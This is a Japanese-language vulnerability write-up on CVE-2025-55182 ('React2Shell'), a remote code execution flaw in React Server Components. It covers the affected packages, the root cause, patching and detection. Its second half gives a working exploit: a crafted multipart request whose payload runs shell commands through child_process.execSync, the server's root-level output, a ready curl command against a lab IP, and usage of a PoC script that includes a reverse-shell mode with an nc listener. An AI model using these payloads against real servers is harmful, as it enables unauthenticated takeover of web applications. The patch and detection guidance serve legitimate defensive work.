🚨 CVE-2025-55182 — React2Shell

hq720

CVE-2025-55182 は、React Server Components (RSC) に影響を与える深刻な リモートコード実行 (RCE) の脆弱性です。

📌 概要

この脆弱性により、認証されていない攻撃者が脆弱なサーバー上で任意のコードを実行できるようになります。

問題は、React Server Component Server Function エンドポイントにおける安全でないデシリアライゼーションに起因します。不適切なバリデーションにより、特別に細工されたリクエストが悪意のあるペイロードを実行することを許容します。

🧨 影響

🌍 ネットワークから悪用可能
🔓 認証不要
⚡ 攻撃の複雑性が低い
💥 サーバー完全制圧の可能性
📈 CVSS スコア: 10.0 (最大深刻度)

Reactベースのフレームワークは広く展開されているため、攻撃対象領域は極めて広範囲です。

📦 影響を受けるパッケージ

脆弱なバージョンには以下が含まれます：

react-server-dom-webpack   19.0.0 – 19.2.0
react-server-dom-parcel    19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0

これらのパッケージ上に構築されたフレームワーク（例：脆弱なバージョンを使用したNext.jsアプリ）も影響を受ける可能性があります。

🔎 技術的根本原因

この欠陥は以下に起因します：

シリアル化された入力の安全でない処理
厳格なバリデーション前に発生するサーバーサイドのデシリアライゼーション
適切なエンドポイント保護の欠如

これにより、攻撃者はサーバー上で実行される悪意のあるペイロードを作成できます。

🛠 修復策

✅ 即時対応

修正済みの React バージョン (19.2.1 以降) にアップグレード
アプリケーションを再ビルドして再デプロイ
露出した RSC エンドポイントを監査
不審な POST リクエストのログを監視

🧪 検出のヒント

以下を探してください：

RSC エンドポイントへの予期しない POST リクエスト
不審なシリアル化されたペイロード
異常なサーバーサイドコマンド実行

📚 概要

カテゴリ	値
脆弱性	リモートコード実行
認証要件	❌ いいえ
攻撃ベクトル	🌐 ネットワーク
深刻度	🔴 クリティカル
実際の悪用	⚠️ はい

悪用方法

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

応答：

HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

使用方法

┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}

sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"

出力: ubuntu（または類似）。

sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"

リバースシェルの場合：

リスナー: nc -lvnp 4444
実行: sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444
接続が戻ってくるはずです; レスポンスの digest に 'shell_started' が表示されます。

⚠️ 最後に

アプリケーションが React Server Components を使用している場合は、直ちにパッチを適用してください。遅延により露出リスクが大幅に増加します。

CVE-2025-55182

人気